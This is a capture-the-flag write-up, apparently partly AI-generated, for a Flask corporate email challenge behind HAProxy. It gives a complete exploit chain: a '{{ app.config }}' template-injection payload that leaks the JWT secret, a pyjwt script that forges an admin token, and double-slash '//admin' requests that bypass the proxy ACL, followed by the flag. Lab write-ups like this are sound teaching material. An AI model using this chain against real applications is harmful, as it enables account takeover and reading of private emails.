corp-mail

Description
Author: lordrukie x beluga
Rumor said that my office's internal email system was breached somewhere... must've been the wind.
Overview
This challenge is a corporate email web application built with Flask and protected by HAProxy.
Vulnerability: Python Format String Injection (SSTI-like) & HAProxy ACL Bypass.
Goal: Obtain Admin access to read other users' emails (where the flag is located).
Protection: The application uses JWT for authentication. The /admin endpoint is protected by HAProxy (likely blocked from external access).
AI-assisted output

Solution Steps
1. Information Disclosure (Format String Injection)
The vulnerability exists in the Update Signature feature on the /settings page. The application takes the user-provided signature input and directly processes it using a formatting function without proper sanitization.
Source Code Analysis (application/routes/user.py):
# ...existing code...
@bp.route('/settings', methods=['GET', 'POST'])
@login_required
def settings():
if request.method == 'POST':
signature_template = request.form.get('signature', '')
formatted_signature = format_signature(signature_template, g.user['username'])
db.execute('UPDATE users SET signature = ? WHERE id = ?', (formatted_signature, g.user['user_id']))Because signature_template is treated as a template, the following payload will return the application configuration (including the JWT secret):
{{ app.config }}Short steps:
- Register a new account → Login → open
/settings→ enter{{ app.config }}as the signature → submit → view the output on the profile/preview page.

The output contains the application configuration — note the JWT_SECRET value.

2. Forge JWT (become admin)
With the JWT_SECRET, we can create a new token with is_admin set to 1.
Example of token creation using Python (pyjwt):
import jwt
secret = "<JWT_SECRET_FROM_APP>"
payload = {"user_id": 2, "username": "you", "is_admin": 1}
token = jwt.encode(payload, secret, algorithm='HS256')
print(token)Set the session cookie using this new token (for example session=...) and then access the admin endpoint.
Short steps:
- Get Original Token: Login as a normal user and retrieve the session cookie.

- Decode Token, then copy the token payload for re‑encoding.

- Forge Token: Change
is_adminto1and re-sign it using the previously obtained secret.

- Use this new token to access the admin endpoint.

3. Bypass HAProxy (path normalization)
Even though the token is now admin, access to /admin is blocked by the HAProxy ACL.
However, some servers (including Flask) normalize paths so that //admin is treated the same as /admin. HAProxy often matches literal paths and does not normalize //.
Therefore, use a double slash to bypass the ACL:
GET //admin/user/1/emails
GET //admin/email/5//admin/user/1/emails

//admin/email/5

Flag
C2C{f0rm4t_str1ng_l34k5_4nd_n0rm4l1z4t10n_4c7c96aecc9b}